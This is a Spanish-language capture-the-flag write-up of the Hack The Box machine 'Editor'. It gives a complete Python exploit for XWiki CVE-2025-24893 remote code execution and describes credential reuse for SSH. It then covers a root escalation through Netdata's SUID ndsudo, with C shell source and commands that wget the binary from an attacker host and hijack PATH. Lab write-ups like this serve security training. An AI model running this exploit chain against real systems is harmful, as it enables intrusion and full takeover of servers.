Editor HTB Write Up¶

1. Información del objetivo¶
IP de la máquina: 10.10.11.80
Dominio: editor.htb
2. Reconocimiento inicial¶
2.1 Escaneo de puertos¶


2.2 Enumeración de subdominios¶

3. Explotando XWiki (CVE-2025-24893)¶
Descubrimos que es un sitio web de XWiki, por lo que existe un CVE para ello, pero necesitamos modificar un poco el código.
3.1 Código del Exploit (Python)¶
This is the full code.
import argparse
import requests
import re
from urllib.parse import urljoin, quote
import html
BANNER = """
===========================================================
CVE-2025-24893
XWiki Remote Code Execution Exploit
Author: Artemir
===========================================================
"""
def extract_output(xml_text):
decoded = html.unescape(xml_text)
match = re.search(r"\[}}}(.*?)\]", decoded)
if match:
return match.group(1).strip()
else:
return None
def exploit(url, cmd):
headers = {
"User-Agent": "Mozilla/5.0",
}
payload = (
"}}}{{async async=false}}{{groovy}}"
f"println('{cmd}'.execute().text)"
"{{/groovy}}{{/async}}"
)
encoded_payload = quote(payload)
exploit_path = f"/xwiki/bin/get/Main/SolrSearch?media=rss&text={encoded_payload}"
full_url = urljoin(url, exploit_path)
try:
response = requests.get(full_url, headers=headers, timeout=10)
if response.status_code == 200:
output = extract_output(response.text)
if output:
print("[+] Command Output:")
print(output)
else:
print("[!] Exploit sent, but output could not be extracted.")
print("[*] Raw response (truncated):")
print(response.text[:500])
else:
print(f"[-] Failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Request failed: {e}")
if __name__ == "__main__":
print(BANNER)
parser = argparse.ArgumentParser(description="CVE-2025-24893 - XWiki RCE PoC")
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. http://example.com)")
parser.add_argument("-c", "--cmd", required=True, help="Command to execute")
args = parser.parse_args()
exploit(args.url, args.cmd)
3.2 Obteniendo una Reverse Shell¶
Para obtener una reverse shell, podemos ejecutar el script de Python de la siguiente manera.
Y obtenemos una reverse shell.

4. Descubrimiento de credenciales¶
Si buscamos en el directorio, encontraremos la contraseña de MySQL. En la siguiente ruta y archivo.

Esta es la contraseña.
5. Reutilización de credenciales para SSH¶
Estamos dentro de un Docker, así que si enumeramos un poco los usuarios, obtenemos el usuario oliver. Intentemos reutilizar esta contraseña.

Y estamos dentro.

6. Escalada de privilegios mediante Netdata¶
6.1 Descubriendo el acceso al grupo Netdata¶
Si verificamos en qué grupos estamos, estamos en el grupo netdata.

Si es vulnerable, podemos intentar abusar de algún plugin.
6.2 Encontrando plugins de Netdata¶
En la siguiente ruta tenemos plugins.
Si echamos un vistazo, tenemos ndsudo con SUID.

7. Abusando de ndsudo para convertirse en root¶
Después de investigar un rato, encontré un PoC, así que abusemos de él para obtener root.
7.1 Escribiendo un binario de shell como root (Máquina Local)¶
Este es el PoC que seguí para obtener una shell como root.
EN TU MÁQUINA LOCAL
#include <unistd.h>
#include <stdlib.h>
int main() {
setuid(0);
setgid(0);
execl("/bin/bash", "bash", "-i", NULL);
return 0;
}
gcc -o megacli megacli.c
7.2 Desplegando el binario en el objetivo¶
EN LA MÁQUINA OBJETIVO
mkdir -p ~/fakebin
cd ~/fakebin
wget http://10.10.xx.xx/megacli
chmod +x megacli
export PATH=~/fakebin:$PATH
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo megacli-disk-info
7.3 Shell como root obtenida¶
Y obtenemos root.

Autor: Astro